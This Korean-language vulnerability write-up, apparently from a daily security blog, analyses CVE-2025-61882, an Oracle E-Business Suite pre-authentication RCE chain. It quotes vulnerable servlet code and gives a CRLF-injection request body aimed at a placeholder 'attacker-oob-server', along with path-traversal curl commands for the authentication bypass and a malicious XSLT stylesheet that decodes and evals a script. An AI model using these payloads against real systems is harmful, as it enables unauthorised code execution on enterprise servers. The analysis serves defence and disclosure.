[하루한줄] CVE-2025-61882: Oracle E-Business Suite에서 발생한 연쇄 취약점으로 인한 RCE (CRLF Injection 등)

URL

Target

  • Oracle E-Business Suite 12.2.3-12.2.14

Explain

CVE-2025-61882는 Oracle E-Business Suite(EBS)에서 발생하였으며, 단일 취약점이 아닌 연쇄 취약점 기반 Pre-Auth RCE Chain입니다. Oracle EBS는 기업용 통합 애플리케이션 모음 서비스로 영향 범위가 크며, 공격에는 다음 기법과 흐름으로 동작합니다.

  • URL-encoded XML injection → SSRF
  • CRLF injection
  • Auth bypass
  • HTTP request smuggling(keep-alive smuggling)
  • OOB XSL / XSLT 로드
  • XSLT Java 확장 / ScriptEngine 악용

1. URL-encoded XML → Server-Side Request Forgery (SSRF)

if (paramHttpServletRequest.getParameter("getUiType") != null) {
  String str = paramHttpServletRequest.getParameter("redirectFromJsp"); // [1]
  XMLDocument xMLDocument = XmlUtil.parseXmlString(paramHttpServletRequest.getParameter("getUiType")); // [0]
  if (str == null || "false".equalsIgnoreCase(str)) {
    redirectToCZInitialize(...);
    return;
  }
  createNew(xMLDocument, httpSession, paramHttpServletRequest, paramHttpServletResponse); // [2]
}

먼저 첫 번째 취약성은 URL-encoded XML 입력 주입을 통해 SSRF가 발생한다는 점이며, 이는 servlet 진입부의 로직에서 비롯됩니다.

  • [0]: getUiType 파라미터에서 XML 문자열을 직접 파싱합니다.
  • [1]: redirectFromJsp가 null이 아닐 때 createNew()를 호출합니다.
  • [2]: createNew()가 이후 XML 내용을 기반으로 return_url을 추출해 처리합니다.
protected void postXmlMessage(String paramString1, String paramString2) throws ServletException {
  URL uRL = getUrl(paramString1);
  if (uRL != null)
    paramString1 = uRL.toExternalForm();
  CZURLConnection cZURLConnection = new CZURLConnection(paramString1);
  String[] arrayOfString1 = { "XMLmsg" };
  String[] arrayOfString2 = { paramString2 };
  cZURLConnection.connect(1, arrayOfString1, arrayOfString2);
  cZURLConnection.close();
}

postXmlMessage()return_urlCZURLConnection을 만든 뒤 cZURLConnection.connect(...)에서 URL.openConnection()HttpURLConnection을 설정하고 getOutputStream() 단계에서 실제 TCP 연결을 맺어 POST를 전송합니다. 따라서 검증되지 않은 return_url 이 공격자 제어 주소라면, 서버가 그 대상으로 직접 아웃바운드 요청을 보내게 되어 SSRF가 성립합니다.

private void connect(URL paramURL, String paramString) throws IOException {
  HttpURLConnection httpURLConnection = (HttpURLConnection)paramURL.openConnection();
  updateDefaultHeaders(httpURLConnection, ...);
  httpURLConnection.setDoOutput(true);
  httpURLConnection.setRequestMethod("POST");
  this.m_connectionOutputStream = httpURLConnection.getOutputStream();
  postMessage(paramString, httpURLConnection);
}

또한 connect() 함수를 확인해보면 openConnection()에서 생성된 연결이 검증없이 곧바로 POST를 수행하므로, 별다른 검증이 없는 상태로 네트워크 호출을 발생시키는 문제가 발생합니다.

2. CRLF Injection

PoC에 return_url에 포함되어 
, %0d%0a와 같은 CRLF가 디코드되어 실제 바이트로 소켓에 쓰이면, 서버가 전송하는 HTTP 요청의 라인/헤더 경계를 조작해 임의의 헤더 블록이나 추가 요청 라인을 삽입할 수 있습니다.

redirectFromJsp=1&getUiType=<@urlencode><?xml version="1.0" encoding="UTF-8"?>
<initialize>
    <param name="init_was_saved">test</param>
    <param name="return_url"><http://attacker-oob-server>&#47;HeaderInjectionTest&#32;HTTP&#47;1&#46;1&#13;&#10;InjectedHeader&#58;Injected&#13;&#10;&#32;&#13;&#10;&#13;&#13;&#10;&#13;&#13;&#10;&#13;&#13;&#10;POST&#32;&#47;</param>
 
    <param name="ui_def_id">0</param>
    <param name="config_effective_usage_id">0</param>
    <param name="ui_type">Applet</param>
</initialize></@urlencode>

즉, SSRF를 통해 요청 바디의 getUiType에 URL-encoded XML을 보내고, 그 안의 return_url\r\n(CRLF)과 POST /와 같은 추가 헤더 라인을 끼워 넣으면, 수신 측에서는 아래처럼 **주입된 요청 라인/헤더가 관찰됩니다.

POST /HeaderInjectionTest HTTP/1.1
--- HEADERS ---
InjectedHeader: Injected

3. HTTP persistent connection(keep-alive)

이후 두 번째 단계(CRLF injection)는 세 번째 단계인 HTTP keep-alive 악용을 가능하게 합니다.

keep-alive
HTTP/1.1에서 기본적으로 활성화된 동작으로, 하나의 TCP 연결을 닫지 않고 여러 요청/응답을 연속 처리할 수 있게 해 줍니다. (명시적으로 Connection: close가 아닌 한 지속)

즉, SSRF를 통해 요청 경계를 조작한 뒤, 동일한 TCP 연결을 keep-alive로 재사용하면 후속 요청을 같은 연결에서 연속 전송할 수 있어 탐지 노이즈를 줄이면서 후속 요청이 localhost:7201과 같은 내부 대상으로 전달되도록 유도할 수 있습니다.

4. Auth Bypass

# netstat -lnt
tcp6       0      0 172.31.28.161:7201      :::*                    LISTEN

# cat /etc/hosts
172.31.28.161   apps.example.com        apps
#

Oracle EBS 내부 애플리케이션 핵심 HTTP 서비스는 172.31.28.161:7201처럼 사설 IP에 바인딩되어 있는 형태인데, 이때 /etc/hosts 파일 안에 apps.example.com 매핑이 존재합니다. 때문에 서버 측 관점(SSRF/스머글링으로 열어둔 연결)에서는 http://apps.example.com:7201 으로 내부 서비스에 요청을 보낼 수 있습니다.

# curl -s http://apps.example.com:7201/OA_HTML/ieshostedsurvey.jsp
# curl -s --path-as-is http://apps.example.com:7201/OA_HTML/help/../ieshostedsurvey.jsp

또한 /OA_HTML/help/는 인증이 요구되지 않는 공개 경로이므로, ../와 같은 경로 횡단을 추가해 /OA_HTML/help/../ieshostedsurvey.jsp 형태로 화이트리스트를 우회해 보호된 jsp인 ieshostedsurvey.jsp에 접근할 수 있도록 합니다.

5. XSL Transformation (XSLT)

<html>
<head>
..
</head>
<body <%=_jtfPageContext.getHtmlBodyAttr() %> class='applicationBody'>
..
StringBuffer urlbuf = new StringBuffer();
urlbuf.append("http://");
urlbuf.append(request.getServerName()); // [1]
urlbuf.append(":").append(request.getServerPort()).append(URI.toString()); // [2]
String xslURL = urlbuf.toString() + "ieshostedsurvey.xsl";

URL stylesheetURL = new URL(xslURL.toString()); // [3]
XSLStylesheet sheet = new XSLStylesheet(stylesheetURL,stylesheetURL); // [4]
XSLProcessor xslt = new XSLProcessor();

xslt.processXSL(sheet, xmlDoc, ...); //[5]
..
</body>
</html>

Auth Bypass로 접근된 ieshostedsurvey.jsp에는 신뢰할 수 없는 입력으로 XSL URL을 동적으로 구성한 다음, 검증 없이 원격 XSL을 로드하고 처리하는 또 다른 취약점이 존재합니다.

  • [1],[2]에서 request.getServerName(), request.getServerPort()는 클라이언트가 조작 가능한 Host 헤더에 영향을 받는데, 이 값을 신뢰해 xslURL을 만들면 악성 XSL을 호스팅하는 서버를 가리키게 할 수 있습니다.
  • [3],[4],[5]의 코드를 확인해보면, 애플리케이션은 해당 원격 XSL을 즉시 로드하고 XSLT 처리를 수행합니다. XSLT 엔진이 확장 함수/스크립팅을 허용하는 환경이기 때문에 스타일시트 내부에서 RCE를 유발할 수 있습니다.

XSL 스타일시트 (payload)

<xsl:stylesheet version="1.0"
                    xmlns:xsl="<http://www.w3.org/1999/XSL/Transform>"
                    xmlns:b64="<http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder>"
                    xmlns:jsm="<http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager>"
                    xmlns:eng="<http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine>"
                    xmlns:str="<http://www.oracle.com/XSL/Transform/java/java.lang.String>">
        <xsl:template match="/">
            <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'[base64_encoded_payload]')"/>
            <xsl:variable name="js" select="str:new($bs)"/>
            <xsl:variable name="m" select="jsm:new()"/>
            <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
            <xsl:variable name="code" select="eng:eval($e, $js)"/>
            <xsl:value-of select="$code"/>
        </xsl:template>
    </xsl:stylesheet>

위 XSL 스타일시트는 Base64로 숨긴 스크립트를 복원하고, ScriptEngine으로 eval해 서버 프로세스 내에서 실행합니다. 결과적으로 JSP가 Host와 Port를 신뢰해 만든 xslURL로 이 원격 XSL 스타일시트를 로드하는 순간 스크립트가 실행되어 RCE로 이어집니다.

Reference